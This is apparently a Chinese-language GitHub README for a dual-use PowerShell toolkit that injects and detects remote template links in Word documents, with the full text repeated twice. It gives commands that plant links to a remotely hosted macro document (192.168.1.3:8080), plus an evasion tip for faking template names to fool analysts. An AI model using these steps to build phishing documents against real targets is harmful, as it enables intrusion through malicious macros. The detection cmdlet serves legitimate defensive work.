nickvourd/RTI-Toolkit
GitHub: nickvourd/RTI-Toolkit
一款用于在 Office Word 文档中实施与检测远程模板注入的开源 PowerShell 安全工具包,兼顾红队攻击与蓝队防御两种场景。
Stars: 50 | Forks: 9
# RTI-Toolkit
远程模板注入工具包
:information_source: `PS-Templator.ps1` 作为 PowerShell 模块运行。
:information_source: `PS-Templator.ps1` 已在装有 Office 2019 Professional plus 的 Windows 10 计算机上测试通过。 ## Cmdlets ### Invoke-Template `Invoke-Template` 是一个在默认 Office Word 模板中实现远程模板链接的 cmdlet。 #### Invoke-Template 示例 假设您有一个默认的 Word 模板,类似这样:  例如另存为 'Name.docx':  如果您使用 `Invoke-Template` cmdlet,您可以在此 docx 中插入恶意链接: ⚠️ 在运行 `Invoke-Template` 之前,请确保保存文档并将其关闭(终止其进程)。 ``` Invoke-Template -InputDoc Name.docx -Link "https://192.168.1.3:8080/Doc1.docm" -Output C:\Users\User\Desktop\LegitDocument.docx ``` 结果:  如您所见,Invoke-Template 模块会保留原始文档的备份,并提供恶意文档的完整路径。 从调试的角度来看,如果您将恶意 docx 转换为 zip 压缩包并进入 /word/_rels/settings.xml.rels,您可以看到恶意链接:  ### Invoke-Regular `Invoke-Regular` 是一个在没有模板的默认 Office Word 文档中实现远程模板链接的 cmdlet。 #### Invoke-Regular 示例 假设您有一个没有模板的默认 Word 文档,如下所示:  例如另存为 'Doc1.docx':  如果您使用 `Invoke-Regular` cmdlet,您可以在此 docx 中插入恶意链接: ⚠️ 在运行 `Invoke-Regular` 之前,请确保保存文档并将其关闭(终止其进程)。 ``` Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Nikos2.docx ``` 结果:  如您所见,Invoke-Regular 模块会保留原始文档的备份,并提供恶意文档的完整路径。 从调试的角度来看,如果您将恶意 docx 转换为 zip 压缩包并进入 /word/_rels/settings.xml.rels,您可以看到恶意链接:  #### Invoke-Regular 示例 2 从 OPSEC 的角度来看,您可以将 `-TemplateName` 与 `Invoke-Regular` 模块结合使用。如果有人试图分析它,这将使您的恶意文档看起来更合法。 这是一个示例: ``` Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Legittemplate.dotx ``` 结果:  从调试的角度来看,如果您将恶意 docx 转换为 zip 压缩包并进入 /docProps/app.xml,您可以看到伪造的模板名称:  ### Invoke-Identify `Invoke-identify` 是一个识别带/不带模板的 Office Word docx 文档中远程模板链接的 cmdlet。 #### Invoke-Identify 示例 假设您有一个恶意的 Word 文档: ``` Invoke-Identify -InputDoc LegitDocument.docx -Output C:\Users\User\Desktop\output.txt ``` 结果:  #### Invoke-Identify 示例 2 假设您有一个非恶意的 Word 文档: ``` Invoke-Identify -InputDoc Name.docx -Output C:\Users\User\Desktop\output2.txt ``` 结果:  ## 参考 - [ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros) - [dmcxblue.gitbook.io](https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1221-template-injection) - [john-woodman.com](https://john-woodman.com/research/vba-macro-remote-template-injection/) - [John Woodman 的 remoteInjector GitHub](https://github.com/JohnWoodman/remoteInjector) - [Outflanknl 的 Invoke-Templator GitHub](https://github.com/outflanknl/Invoke-Templator) - [attack.mitre.org](https://attack.mitre.org/techniques/T1221/) - [Inf0secRabbit 的 BadAssMacros GitHub](https://github.com/Inf0secRabbit/BadAssMacros)
:information_source: `PS-Templator.ps1` 作为 PowerShell 模块运行。
:information_source: `PS-Templator.ps1` 已在装有 Office 2019 Professional plus 的 Windows 10 计算机上测试通过。 ## Cmdlets ### Invoke-Template `Invoke-Template` 是一个在默认 Office Word 模板中实现远程模板链接的 cmdlet。 #### Invoke-Template 示例 假设您有一个默认的 Word 模板,类似这样:  例如另存为 'Name.docx':  如果您使用 `Invoke-Template` cmdlet,您可以在此 docx 中插入恶意链接: ⚠️ 在运行 `Invoke-Template` 之前,请确保保存文档并将其关闭(终止其进程)。 ``` Invoke-Template -InputDoc Name.docx -Link "https://192.168.1.3:8080/Doc1.docm" -Output C:\Users\User\Desktop\LegitDocument.docx ``` 结果:  如您所见,Invoke-Template 模块会保留原始文档的备份,并提供恶意文档的完整路径。 从调试的角度来看,如果您将恶意 docx 转换为 zip 压缩包并进入 /word/_rels/settings.xml.rels,您可以看到恶意链接:  ### Invoke-Regular `Invoke-Regular` 是一个在没有模板的默认 Office Word 文档中实现远程模板链接的 cmdlet。 #### Invoke-Regular 示例 假设您有一个没有模板的默认 Word 文档,如下所示:  例如另存为 'Doc1.docx':  如果您使用 `Invoke-Regular` cmdlet,您可以在此 docx 中插入恶意链接: ⚠️ 在运行 `Invoke-Regular` 之前,请确保保存文档并将其关闭(终止其进程)。 ``` Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Nikos2.docx ``` 结果:  如您所见,Invoke-Regular 模块会保留原始文档的备份,并提供恶意文档的完整路径。 从调试的角度来看,如果您将恶意 docx 转换为 zip 压缩包并进入 /word/_rels/settings.xml.rels,您可以看到恶意链接:  #### Invoke-Regular 示例 2 从 OPSEC 的角度来看,您可以将 `-TemplateName` 与 `Invoke-Regular` 模块结合使用。如果有人试图分析它,这将使您的恶意文档看起来更合法。 这是一个示例: ``` Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Legittemplate.dotx ``` 结果:  从调试的角度来看,如果您将恶意 docx 转换为 zip 压缩包并进入 /docProps/app.xml,您可以看到伪造的模板名称:  ### Invoke-Identify `Invoke-identify` 是一个识别带/不带模板的 Office Word docx 文档中远程模板链接的 cmdlet。 #### Invoke-Identify 示例 假设您有一个恶意的 Word 文档: ``` Invoke-Identify -InputDoc LegitDocument.docx -Output C:\Users\User\Desktop\output.txt ``` 结果:  #### Invoke-Identify 示例 2 假设您有一个非恶意的 Word 文档: ``` Invoke-Identify -InputDoc Name.docx -Output C:\Users\User\Desktop\output2.txt ``` 结果:  ## 参考 - [ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros) - [dmcxblue.gitbook.io](https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1221-template-injection) - [john-woodman.com](https://john-woodman.com/research/vba-macro-remote-template-injection/) - [John Woodman 的 remoteInjector GitHub](https://github.com/JohnWoodman/remoteInjector) - [Outflanknl 的 Invoke-Templator GitHub](https://github.com/outflanknl/Invoke-Templator) - [attack.mitre.org](https://attack.mitre.org/techniques/T1221/) - [Inf0secRabbit 的 BadAssMacros GitHub](https://github.com/Inf0secRabbit/BadAssMacros)
标签:AI合规, Libemu